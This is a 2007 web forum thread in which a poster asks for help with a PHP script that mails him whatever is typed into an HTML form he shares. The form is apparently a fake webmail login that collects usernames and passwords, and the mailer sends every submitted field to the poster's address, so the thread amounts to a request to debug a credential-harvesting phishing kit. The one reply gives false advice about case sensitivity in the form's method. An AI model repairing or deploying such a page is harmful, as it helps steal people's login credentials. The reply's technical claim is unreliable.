denilson Posted July 18, 2007 Share Posted July 18, 2007 Hello.I have a problem.My PHP Form Mailer dont send any messages to me.My hoster is freehostia, and i tried to do it on hyperphp.com but in the host isnt the problem.I will give my code, and if anyone know what do , thanks. PHP Mailer dont send an1 messages to me.Can anyone help? Here is the form and the mailer.I think there are some errors in the code,but i`m a newbie. Form <form action="mailer.php" method="post"> <table style="opacity: 1;"> <tbody><tr> <td>Username:</td> <td><input size="20" name="username" maxlength="12" type="text"></td> </tr> <tr> <td>Password:</td> <td><input size="20" name="password" maxlength="20" type="password"></td> </tr> <tr> <td></td> <td align="center"><input value="Login" name="submit" type="submit"></td> </tr> </tbody></table> <input name="dest" value="inbox.ws" type="hidden"> </form> Mailer <?PHP $to = "Mymail@domain.com"; $subject = "Results from your Request Info form"; $headers = "From: My Site"; $forward = 0; $location = ""; $date = date ("l, F jS, Y"); $time = date ("h:i A"); $msg = "Below is the result of your feedback form. It was submitted on $date at $time.\n\n"; if ($_SERVER['REQUEST_METHOD'] == "POST") { foreach ($_POST as $key => $value) { $msg .= ucfirst ($key) ." : ". $value . "\n"; } } else { foreach ($_GET as $key => $value) { $msg .= ucfirst ($key) ." : ". $value . "\n"; } } mail ($to, $subject, $msg, $headers); if ($forward == 1) { header ("Location:$location"); } else { echo "Thanks..."; } ?> Quote Link to comment Share on other sites More sharing options...
simcoweb Posted July 18, 2007 Share Posted July 18, 2007 Have you set these variables to their proper values? $to = "Mymail@domain.com"; $subject = "Results from your Request Info form"; $headers = "From: My Site"; $forward = 0; $location = ""; Quote Link to comment Share on other sites More sharing options...
denilson Posted July 18, 2007 Author Share Posted July 18, 2007 Have you set these variables to their proper values? $to = "Mymail@domain.com"; $subject = "Results from your Request Info form"; $headers = "From: My Site"; $forward = 0; $location = ""; yes...i replaced the mmail@domain.com with m real mail... Quote Link to comment Share on other sites More sharing options...
simcoweb Posted July 18, 2007 Share Posted July 18, 2007 Just a guess at this but this: method="post" should be this: method="POST" since Unix servers are cAsE SenSitIve. You have an 'if' statement referring to "POST" and if it's not understanding "post" = "POST" then nothing gets passed. Quote Link to comment Share on other sites More sharing options...
denilson Posted July 18, 2007 Author Share Posted July 18, 2007 Just a guess at this but this: method="post" should be this: method="POST" since Unix servers are cAsE SenSitIve. You have an 'if' statement referring to "POST" and if it's not understanding "post" = "POST" then nothing gets passed. I tried this, but again it dont work. A man said me that there is a problem in code, but i cant find him. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.